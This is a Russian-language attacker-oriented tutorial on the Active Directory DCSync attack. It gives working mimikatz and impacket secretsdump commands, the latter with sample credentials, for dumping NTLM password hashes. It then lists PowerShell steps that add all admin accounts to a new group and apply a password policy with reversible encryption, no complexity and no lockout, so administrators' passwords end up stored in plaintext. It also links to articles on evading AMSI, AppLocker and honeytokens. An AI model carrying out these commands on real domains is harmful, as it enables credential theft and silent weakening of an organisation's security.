Для атаки DCSync необходимы специальные права. Любой член групп «Администраторы» и «Администраторы домена», а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC.
Еще по теме:
Атака DCSync
Можно выполнить DCSync с использованием обычной учетной записи пользователя. Но для этого одно из следующих правил должно быть делегировано на уровне домена, чтобы учетная запись пользователя могла беспрепятственно получать данные с помощью DCSync:
- DS-Replication-Get-Changes — это разрешение необходимо для репликации только тех изменений, которые также реплицированы в глобальный каталог.
- DS-Replication-Get-Changes-All — разрешение позволяет репликацию всех данных.
Члены групп «Администраторы» и «Контроллер домена» по умолчанию имеют эти права. После того как учетной записи делегирована возможность репликации объектов, учетная запись может использовать mimikatz DCSync:
1 |
mimikatz# lsadump::dcsync /domain:[домен] /user:[пользователь] |
Также при реализации данной атаки можно получить историю паролей учетной записи, точнее NTLM-хеши. Взлом этих хешей позволит понять логику выставления паролей, что, возможно, поможет угадать следующий пароль в случае замены.
Выполнить DCSync можно также с помощью imрacket удаленно, для чего нужны учетные данные.
1 |
secretsdump.py tdomain.dom/root:Secret08@192.168.226.137 |
Получение открытого пароля с помощью DCSync
Но что делать, если хеш пароля не взламывается?
Выход есть! Для учетных записей Active Directory существует устаревшая функция, которая называется «обратимое шифрование». Если включено обратимое шифрование, то зашифрованные данные могут быть возвращены обратно к паролю пользователя.
Если для учетной записи включено обратимое шифрование и пользователь меняет пароль после установки этой конфигурации, пароль в виде открытого текста сохраняется в базе данных Active Directory.
Оператор может создать новую группу ShareRoint и добавить все учетные записи домена с атрибутом AdminCount, установленным в 1.
1 2 3 |
PS > New-ADGroup -Name ShareRoint -SamAccountName ShareRoint -GroupCategory Security -GroupScope Global -DisplayName ShareRoint -Path "CN=Users,DC=tdomain,DC=dom" PS > $Admins = Get-ADUser -filter { AdminCount -eq 1 } PS > Add-ADGroupMember ShareRoint -Members $Admins |
Теперь нужно создать новую парольную политику.
1 |
PS C:\Windows\system32> New-ADFineGrainedPasswordPolicy -Name ShareRoint -DisplayName ShareRoint -Precedence 1 -ComplexityEnabled $false -ReversibleEncryptionEnabled $true -PasswordHistoryCount 0 -MinPasswordLength 0 -MinPasswordAge 0.00:00:00 -MaxPasswordAge 0.00:00:00 -LockoutThreshold 0 -LockoutObservationWindow 0.00:00:00 -LockoutDuration 0.00:00:00 |
Проверим, что атрибут ReversibleEncryptionEnabled установлен в True.
1 |
PS C:\Windows\system32> Get-ADFineGrainedPasswordPolicy ShareRoint |
Теперь стоить применить парольную политику к новой группе.
1 |
Add-ADFineGrainedPasswordPolicySubject -Identity ShareRoint -Subjects ShareRoint |
Проверить, применилась ли парольная политика, очень легко.
Новая парольная политика обнуляет все стандартные параметры безопасности паролей домена. После смены пароля, которую инициирует оператор, все пароли администраторов будут храниться в открытом виде.
На этом все. Теперь вы знаете, что из себя представляет атака DCSync.
Еще по теме:
- Уклонение от Honeytoken при атаке Active Directory
- Как обойти PowerShell AMSI при атаке на Active Directory
- Как обойти AppLocker при атаке на Active Directory